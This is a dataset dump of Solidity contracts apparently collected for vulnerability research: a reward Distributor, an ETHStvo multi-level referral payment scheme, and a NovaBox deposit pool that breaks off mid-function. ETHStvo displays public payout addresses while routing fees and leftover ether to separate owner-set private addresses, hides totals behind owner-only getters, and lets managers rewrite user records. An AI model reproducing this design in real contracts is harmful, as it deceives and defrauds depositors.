hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0e4aeee802ef344fcd074736f1b0137f9cce78cbdabf0ffed0e59dc33edfc4be
| 15,585 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/bc/BcB4761FcCd7Dd1449Df39eD7b3866b20f010844_Distributor.sol
| 3,380 | 13,769 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ITreasury {
function mintRewards (address _recipient, uint _amount) external;
}
contract Distributor is Ownable {
using LowGasSafeMath for uint;
using LowGasSafeMath for uint32;
IERC20 public immutable Cyber;
ITreasury public immutable CyberTreasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping (uint => Adjust) public adjustments;
event LogDistribute (address indexed recipient, uint amount);
event LogAdjust (uint initialRate, uint currentRate, uint targetRate);
event LogAddRecipient (address indexed recipient, uint rate);
event LogRemoveRecipient (address indexed recipient);
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor (address _treasury, address _cyber, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
CyberTreasury = ITreasury(_treasury);
require(_cyber != address(0));
Cyber = IERC20(_cyber);
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute () external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength);
// distribute rewards to each recipient
for (uint k = 0; k < info.length; k++) {
if (info[k].rate > 0) {
CyberTreasury.mintRewards(info[k].recipient, nextRewardAt(info[k].rate));
adjust(k);
}
emit LogDistribute(info[k].recipient, nextRewardAt(info[k].rate));
}
return true;
}
return false;
}
function adjust (uint _index) internal {
Adjust memory adjustment = adjustments[_index];
if (adjustment.rate != 0) {
uint initial = info[_index].rate;
uint rate = initial;
if (adjustment.add) { // if rate should increase
rate = rate.add(adjustment.rate); // raise rate
if (rate >= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[_index];
}
} else { // if rate should decrease
rate = rate.sub(adjustment.rate); // lower rate
if (rate <= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[_index];
}
}
info[_index].rate = rate;
emit LogAdjust(initial, rate, adjustment.target);
}
}
function nextRewardAt (uint _rate) public view returns (uint) {
return Cyber.totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor (address _recipient) external view returns (uint) {
uint reward;
for (uint k = 0; k < info.length; k++) {
if (info[k].recipient == _recipient) {
reward = nextRewardAt(info[k].rate);
}
}
return reward;
}
function addRecipient (address _recipient, uint _rewardRate) external onlyOwner {
require(_recipient != address(0), "Invalid recipient address");
require(_rewardRate <= 10000, "Too high reward rate");
require(info.length <= 4, "limit recipients max to 5");
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
emit LogAddRecipient(_recipient, _rewardRate);
}
function removeRecipient (uint _index, address _recipient) external onlyOwner {
require(_recipient == info[_index].recipient, "Invalid recipient address");
info[_index] = info[info.length - 1];
adjustments[_index] = adjustments[info.length - 1];
info.pop();
delete adjustments[info.length - 1];
emit LogRemoveRecipient(_recipient);
}
function setAdjustment (uint _index, bool _add, uint _rate, uint _target) external onlyOwner {
require(_target <= 10000, "Too high reward rate");
adjustments[_index] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 318,241 | 12,700 |
61884e193500006b47b5b0cec75c93a7e2beab3ca11b6035b1ffa7044a282ec4
| 18,697 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/6324_12853_0x064bd8fc3acbfba6eb8105c02786659a2da8cf76.sol
| 5,167 | 18,214 |
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address owner;
address Main_address;
address public main_address;
address Upline_address;
address public upline_address;
mapping (address => bool) managers;
constructor() public {
owner = msg.sender;
main_address = msg.sender;
upline_address = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only for owner");
_;
}
function transferOwnership(address _owner) public onlyOwner {
owner = _owner;
}
}
contract ETHStvo is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _receiver, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _user, uint indexed _receiver, uint indexed _type, uint _level, uint _money, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) SPONSOR;
mapping (uint => uint) INTRODUCER;
mapping (uint => uint) UPLINE;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 3;
struct UserStruct {
bool manual;
bool isExist;
uint level;
uint introducedTotal;
uint referrerID;
uint introducerID;
address wallet;
uint[] introducers;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint stats = 0 ether;
uint Stats = 0 ether;
bool public paused = false;
constructor() public {
LEVEL_PRICE[0.1 ether] = 1;
LEVEL_PRICE[0.15 ether] = 2;
LEVEL_PRICE[0.5 ether] = 3;
LEVEL_PRICE[1.5 ether] = 4;
LEVEL_PRICE[3.5 ether] = 5;
LEVEL_PRICE[7 ether] = 6;
LEVEL_PRICE[20 ether] = 7;
LEVEL_PRICE[60 ether] = 8;
SPONSOR[0.1 ether] = 0.027 ether;
SPONSOR[0.15 ether] = 0.105 ether;
SPONSOR[0.5 ether] = 0.35 ether;
SPONSOR[1.5 ether] = 1.05 ether;
SPONSOR[3.5 ether] = 2.45 ether;
SPONSOR[7 ether] = 4.9 ether;
SPONSOR[20 ether] = 14 ether;
SPONSOR[60 ether] = 42 ether;
INTRODUCER[0.1 ether] = 0.0315 ether;
INTRODUCER[0.15 ether] = 0.0225 ether;
INTRODUCER[0.5 ether] = 0.075 ether;
INTRODUCER[1.5 ether] = 0.225 ether;
INTRODUCER[3.5 ether] = 0.525 ether;
INTRODUCER[7 ether] = 1.05 ether;
INTRODUCER[20 ether] = 3 ether;
INTRODUCER[60 ether] = 9 ether;
UPLINE[0.1 ether] = 0.00504 ether;
UPLINE[0.15 ether] = 0.0036 ether;
UPLINE[0.5 ether] = 0.012 ether;
UPLINE[1.5 ether] = 0.036 ether;
UPLINE[3.5 ether] = 0.084 ether;
UPLINE[7 ether] = 0.168 ether;
UPLINE[20 ether] = 0.48 ether;
UPLINE[60 ether] = 1.44 ether;
FEE[0.1 ether] = 0.01 ether;
UserStruct memory userStruct;
currentUserID++;
userStruct = UserStruct({
manual: false,
isExist: true,
level: 18,
introducedTotal: 0,
referrerID: 0,
introducerID: 0,
wallet: main_address,
introducers: new uint[](0),
referrals: new uint[](0)
});
users[currentUserID] = userStruct;
userList[main_address] = currentUserID;
}
function setMainAddress(address _main_address) public onlyOwner {
require(userList[_main_address] == 0, 'Address is already in use by another user');
delete userList[main_address];
userList[_main_address] = uint(1);
main_address = _main_address;
users[1].wallet = _main_address;
}
function setAddress(address _main_address, address _upline_address) public onlyOwner {
Main_address = _main_address;
Upline_address = _upline_address;
}
function setPaused(bool _paused) public onlyOwner {
paused = _paused;
}
function getStats() public view onlyOwner returns(uint) {
return Stats;
}
//https://etherconverter.online to Ether
function setLevelPrice(uint _price, uint _level) public onlyOwner {
LEVEL_PRICE[_price] = _level;
}
function setSponsor(uint _price, uint _sponsor) public onlyOwner {
SPONSOR[_price] = _sponsor;
}
function setIntroducer(uint _price, uint _introducer) public onlyOwner {
INTRODUCER[_price] = _introducer;
}
function setUpline(uint _price, uint _upline) public onlyOwner {
UPLINE[_price] = _upline;
}
function setFee(uint _price, uint _fee) public onlyOwner {
FEE[_price] = _fee;
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
currentUserID = _currentUserID;
}
function viewStats() public view onlyOwner returns(uint) {
return stats;
}
function addManagers(address manager_1, address manager_2, address manager_3, address manager_4, address manager_5, address manager_6, address manager_7, address manager_8, address manager_9, address manager_10) public onlyOwner {
managers[manager_1] = true;
managers[manager_2] = true;
managers[manager_3] = true;
managers[manager_4] = true;
managers[manager_5] = true;
managers[manager_6] = true;
managers[manager_7] = true;
managers[manager_8] = true;
managers[manager_9] = true;
managers[manager_10] = true;
}
function removeManagers(address manager_1, address manager_2, address manager_3, address manager_4, address manager_5, address manager_6, address manager_7, address manager_8, address manager_9, address manager_10) public onlyOwner {
managers[manager_1] = false;
managers[manager_2] = false;
managers[manager_3] = false;
managers[manager_4] = false;
managers[manager_5] = false;
managers[manager_6] = false;
managers[manager_7] = false;
managers[manager_8] = false;
managers[manager_9] = false;
managers[manager_10] = false;
}
function addManager(address manager) public onlyOwner {
managers[manager] = true;
}
function removeManager(address manager) public onlyOwner {
managers[manager] = false;
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _referral1, uint _referral2, uint _referral3, uint _level, uint _introducedTotal) public {
require(msg.sender == owner || managers[msg.sender], "Only for owner");
require(_userID > 1, 'Invalid user ID');
require(_level > 0, 'Invalid level');
require(_introducedTotal >= 0, 'Invalid introduced total');
require(_wallet != address(0), 'Invalid user wallet');
if(_userID > 1){
require(_referrerID > 0, 'Invalid referrer ID');
require(_introducerID > 0, 'Invalid introducer ID');
}
if(_userID > currentUserID){
currentUserID++;
}
if(users[_userID].isExist){
delete userList[users[_userID].wallet];
delete users[_userID];
}
UserStruct memory userStruct;
userStruct = UserStruct({
manual: true,
isExist: true,
level: _level,
introducedTotal: _introducedTotal,
referrerID: _referrerID,
introducerID: _introducerID,
wallet: _wallet,
introducers: new uint[](0),
referrals: new uint[](0)
});
users[_userID] = userStruct;
userList[_wallet] = _userID;
if(_referral1 != uint(0)){
users[_userID].referrals.push(_referral1);
}
if(_referral2 != uint(0)){
users[_userID].referrals.push(_referral2);
}
if(_referral3 != uint(0)){
users[_userID].referrals.push(_referral3);
}
}
function () external payable {
require(!paused);
require(LEVEL_PRICE[msg.value] > 0, 'You have sent incorrect payment amount');
if(LEVEL_PRICE[msg.value] == 1){
uint referrerID = 0;
address referrer = bytesToAddress(msg.data);
if(referrer == address(0)){
referrerID = 1;
} else if (userList[referrer] > 0 && userList[referrer] <= currentUserID){
referrerID = userList[referrer];
} else {
revert('Incorrect referrer');
}
if(users[userList[msg.sender]].isExist){
revert('You are already signed up');
} else {
registerUser(referrerID);
}
} else if(users[userList[msg.sender]].isExist){
upgradeUser(LEVEL_PRICE[msg.value]);
} else {
revert("Please buy first level");
}
}
function registerUser(uint _referrerID) internal {
require(!users[userList[msg.sender]].isExist, 'You are already signed up');
require(_referrerID > 0 && _referrerID <= currentUserID, 'Incorrect referrer ID');
require(LEVEL_PRICE[msg.value] == 1, 'You have sent incorrect payment amount');
uint _introducerID = _referrerID;
if(_referrerID != 1 && users[_referrerID].referrals.length >= REFERRAL_LIMIT)
{
_referrerID = findFreeReferrer(_referrerID);
}
UserStruct memory userStruct;
currentUserID++;
userStruct = UserStruct({
manual: false,
isExist : true,
level: 1,
introducedTotal: 0,
referrerID : _referrerID,
introducerID : _introducerID,
wallet : msg.sender,
introducers: new uint[](0),
referrals : new uint[](0)
});
users[currentUserID] = userStruct;
userList[msg.sender] = currentUserID;
uint upline_1_id = users[_introducerID].introducerID;
uint upline_2_id = users[upline_1_id].introducerID;
uint upline_3_id = users[upline_2_id].introducerID;
uint upline_4_id = users[upline_3_id].introducerID;
if(upline_1_id >0){
users[currentUserID].introducers.push(upline_1_id);
}
if(upline_2_id >0){
users[currentUserID].introducers.push(upline_2_id);
}
if(upline_3_id >0){
users[currentUserID].introducers.push(upline_3_id);
}
if(upline_4_id >0){
users[currentUserID].introducers.push(upline_4_id);
}
if(_referrerID != 1){
users[_referrerID].referrals.push(currentUserID);
}
users[_referrerID].introducedTotal += 1;
stats_level[1] = SafeMath.add(stats_level[1], uint(1));
processPayment(currentUserID, 1);
emit Register(currentUserID, _referrerID, _introducerID, now);
}
function upgradeUser(uint _level) internal {
require(users[userList[msg.sender]].isExist, 'You are not signed up yet');
require(_level >= 2 && _level <= 18, 'Incorrect level');
require(LEVEL_PRICE[msg.value] == _level, 'You have sent incorrect payment amount');
require(users[userList[msg.sender]].level < _level, 'You have already activated this level');
uint level_previous = SafeMath.sub(_level, uint(1));
require(users[userList[msg.sender]].level == level_previous, 'Buy the previous level first');
users[userList[msg.sender]].level = _level;
stats_level[level_previous] = SafeMath.sub(stats_level[level_previous], uint(1));
stats_level[_level] = SafeMath.add(stats_level[_level], uint(1));
processPayment(userList[msg.sender], _level);
emit Upgrade(userList[msg.sender], _level, msg.value, now);
}
function processPayment(uint _user, uint _level) internal {
uint sponsor_id;
uint introducer_id = users[_user].introducerID;
uint money_left = msg.value;
if(users[_user].manual == true){
uint upline_2_id = users[users[introducer_id].introducerID].introducerID;
uint upline_3_id = users[upline_2_id].introducerID;
uint upline_4_id = users[upline_3_id].introducerID;
if(users[introducer_id].introducerID >0){
users[_user].introducers.push(users[introducer_id].introducerID);
}
if(upline_2_id >0){
users[_user].introducers.push(upline_2_id);
}
if(upline_3_id >0){
users[_user].introducers.push(upline_3_id);
}
if(upline_4_id >0){
users[_user].introducers.push(upline_4_id);
}
users[_user].manual = false;
}
if(FEE[msg.value] > 0){
address(uint160(Main_address)).transfer(FEE[msg.value]);
money_left = SafeMath.sub(money_left,FEE[msg.value]);
stats = SafeMath.add(stats,FEE[msg.value]);
}
if(_level == 1 || _level == 5 || _level == 9 || _level == 13 || _level == 17){
sponsor_id = users[_user].referrerID;
} else if(_level == 2 || _level == 6 || _level == 10 || _level == 14 || _level == 18){
sponsor_id = users[users[_user].referrerID].referrerID;
} else if(_level == 3 || _level == 7 || _level == 11 || _level == 15){
sponsor_id = users[users[users[_user].referrerID].referrerID].referrerID;
} else if(_level == 4 || _level == 8 || _level == 12 || _level == 16){
sponsor_id = users[users[users[users[_user].referrerID].referrerID].referrerID].referrerID;
}
stats_total = SafeMath.add(stats_total,msg.value);
if(!users[sponsor_id].isExist || users[sponsor_id].level < _level){
if(users[_user].referrerID != 1){
emit Lost(_user, sponsor_id, uint(1), _level, SPONSOR[msg.value], now);
}
} else {
address(uint160(users[sponsor_id].wallet)).transfer(SPONSOR[msg.value]);
money_left = SafeMath.sub(money_left,SPONSOR[msg.value]);
emit Payment(_user, sponsor_id, uint(1), _level, SPONSOR[msg.value], now);
}
if(users[introducer_id].isExist){
if(INTRODUCER[msg.value] > 0){
if(!users[introducer_id].isExist || users[introducer_id].level < _level){
if(introducer_id != 1){
emit Lost(_user, introducer_id, uint(2), _level, INTRODUCER[msg.value], now);
}
} else {
address(uint160(users[introducer_id].wallet)).transfer(INTRODUCER[msg.value]);
money_left = SafeMath.sub(money_left,INTRODUCER[msg.value]);
emit Payment(_user, introducer_id, uint(2), _level, INTRODUCER[msg.value], now);
}
}
if(UPLINE[msg.value] > 0){
if(introducer_id > 0 && users[users[introducer_id].introducerID].isExist){
for (uint i=0; i<users[_user].introducers.length; i++) {
if(users[users[_user].introducers[i]].isExist && users[users[_user].introducers[i]].level >= _level && (users[users[_user].introducers[i]].introducedTotal >= SafeMath.add(i, uint(1)) || users[users[_user].introducers[i]].introducedTotal >= uint(3))){
address(uint160(users[users[_user].introducers[i]].wallet)).transfer(UPLINE[msg.value]);
emit Payment(_user, users[_user].introducers[i], uint(3), _level, UPLINE[msg.value], now);
money_left = SafeMath.sub(money_left,UPLINE[msg.value]);
} else {
emit Lost(_user, users[_user].introducers[i], uint(3), _level, UPLINE[msg.value], now);
}
}
}
}
}
if(money_left > 0){
address(uint160(Upline_address)).transfer(money_left);
Stats = SafeMath.add(Stats,money_left);
}
}
function findFreeReferrer(uint _user) public view returns(uint) {
require(users[_user].isExist, 'User does not exist');
if(users[_user].referrals.length < REFERRAL_LIMIT){
return _user;
}
uint[] memory referrals = new uint[](363);
referrals[0] = users[_user].referrals[0];
referrals[1] = users[_user].referrals[1];
referrals[2] = users[_user].referrals[2];
uint freeReferrer;
bool noFreeReferrer = true;
for(uint i = 0; i < 363; i++){
if(users[referrals[i]].referrals.length == REFERRAL_LIMIT){
if(i < 120){
referrals[(i+1)*3] = users[referrals[i]].referrals[0];
referrals[(i+1)*3+1] = users[referrals[i]].referrals[1];
referrals[(i+1)*3+2] = users[referrals[i]].referrals[2];
}
} else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
if(noFreeReferrer){
freeReferrer = 1;
}
return freeReferrer;
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
return users[_user].referrals;
}
function viewUserIntroducers(uint _user) public view returns(uint[] memory) {
return users[_user].introducers;
}
function viewUserLevel(uint _user) public view returns(uint) {
return users[_user].level;
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 230,883 | 12,701 |
571713262ab717745d658951b7f0eee9aa2e90961533596ad2f4b9bedf3af726
| 10,519 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb1ed51c3c52e59af2bbcd9b084437b7b1c96f888.sol
| 2,483 | 8,895 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface token {
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function allowance(address, address) external constant returns (uint256);
function balanceOf(address) external constant returns (uint256);
}
contract NovaBox is Ownable {
using SafeMath for uint;
token tokenReward;
constructor() public {
tokenReward = token(0x72FBc0fc1446f5AcCC1B083F0852a7ef70a8ec9f);
}
event AirDrop(address to, uint amount, uint randomTicket);
// ether contributions
mapping (address => uint) public contributionsEth;
// token contributions
mapping (address => uint) public contributionsToken;
// investors list who have deposited BOTH ether and token
mapping (address => uint) public indexes;
mapping (uint => address) public addresses;
uint256 public lastIndex = 0;
function addToList(address sender) private {
// if the sender is not in the list
if (indexes[sender] == 0) {
// add the sender to the list
lastIndex++;
addresses[lastIndex] = sender;
indexes[sender] = lastIndex;
}
}
function removeFromList(address sender) private {
// if the sender is in temp eth list
if (indexes[sender] > 0) {
// remove the sender from temp eth list
addresses[indexes[sender]] = addresses[lastIndex];
indexes[addresses[lastIndex]] = indexes[sender];
indexes[sender] = 0;
delete addresses[lastIndex];
lastIndex--;
}
}
// desposit ether
function () payable public {
uint weiAmount = msg.value;
address sender = msg.sender;
// number of ether sent must be greater than 0
require(weiAmount > 0);
uint _89percent = weiAmount.mul(89).div(100);
uint _6percent = weiAmount.mul(6).div(100);
uint _4percent = weiAmount.mul(4).div(100);
uint _1percent = weiAmount.mul(1).div(100);
distributeEth(_6percent, // to nova investors
_4percent // to eth investors);
//1% goes to REX Investors
owner.transfer(_1percent);
contributionsEth[sender] = contributionsEth[sender].add(_89percent);
// if the sender has also deposited tokens, add sender to list
if (contributionsToken[sender]>0) addToList(sender);
}
// withdraw ether
function withdrawEth(uint amount) public {
address sender = msg.sender;
require(amount>0 && contributionsEth[sender] >= amount);
uint _89percent = amount.mul(89).div(100);
uint _6percent = amount.mul(6).div(100);
uint _4percent = amount.mul(4).div(100);
uint _1percent = amount.mul(1).div(100);
contributionsEth[sender] = contributionsEth[sender].sub(amount);
// if the sender has withdrawn all their eth
// remove the sender from list
if (contributionsEth[sender] == 0) removeFromList(sender);
sender.transfer(_89percent);
distributeEth(_6percent, // to nova investors
_4percent // to eth investors);
owner.transfer(_1percent);
}
// deposit tokens
function depositTokens(address randomAddr, uint randomTicket) public {
address sender = msg.sender;
uint amount = tokenReward.allowance(sender, address(this));
// number of allowed tokens must be greater than 0
// if it is then transfer the allowed tokens from sender to the contract
// if not transferred then throw
require(amount>0 && tokenReward.transferFrom(sender, address(this), amount));
uint _89percent = amount.mul(89).div(100);
uint _6percent = amount.mul(6).div(100);
uint _4percent = amount.mul(4).div(100);
uint _1percent = amount.mul(1).div(100);
distributeTokens(_6percent, // to nova investors
_4percent // to eth investors);
tokenReward.transfer(randomAddr, _1percent);
// 1% for Airdrop
emit AirDrop(randomAddr, _1percent, randomTicket);
contributionsToken[sender] = contributionsToken[sender].add(_89percent);
// if the sender has also contributed ether add sender to list
if (contributionsEth[sender]>0) addToList(sender);
}
// withdraw tokens
function withdrawTokens(uint amount, address randomAddr, uint randomTicket) public {
address sender = msg.sender;
// requested amount must be greater than 0 and
// the sender must have contributed tokens no less than `amount`
require(amount>0 && contributionsToken[sender]>=amount);
uint _89percent = amount.mul(89).div(100);
uint _6percent = amount.mul(6).div(100);
uint _4percent = amount.mul(4).div(100);
uint _1percent = amount.mul(1).div(100);
contributionsToken[sender] = contributionsToken[sender].sub(amount);
// if sender withdrawn all their tokens, remove them from list
if (contributionsToken[sender] == 0) removeFromList(sender);
tokenReward.transfer(sender, _89percent);
distributeTokens(_6percent, // to nova investors
_4percent // to eth investors);
// airdropToRandom(_1percent);
tokenReward.transfer(randomAddr, _1percent);
emit AirDrop(randomAddr, _1percent, randomTicket);
}
function distributeTokens(uint _6percent, uint _4percent) private {
uint totalTokens = getTotalTokens();
uint totalWei = getTotalWei();
// loop over investors (`holders`) list
for (uint i = 1; i <= lastIndex; i++) {
address holder = addresses[i];
// `holder` will get part of 6% fee based on their token shares
uint _rewardTokens = contributionsToken[holder].mul(_6percent).div(totalTokens);
// `holder` will get part of 4% fee based on their ether shares
uint _rewardWei = contributionsEth[holder].mul(_4percent).div(totalWei);
// Transfer tokens equal to the sum of the fee parts to `holder`
tokenReward.transfer(holder,_rewardTokens.add(_rewardWei));
}
}
function distributeEth(uint _6percent, uint _4percent) private {
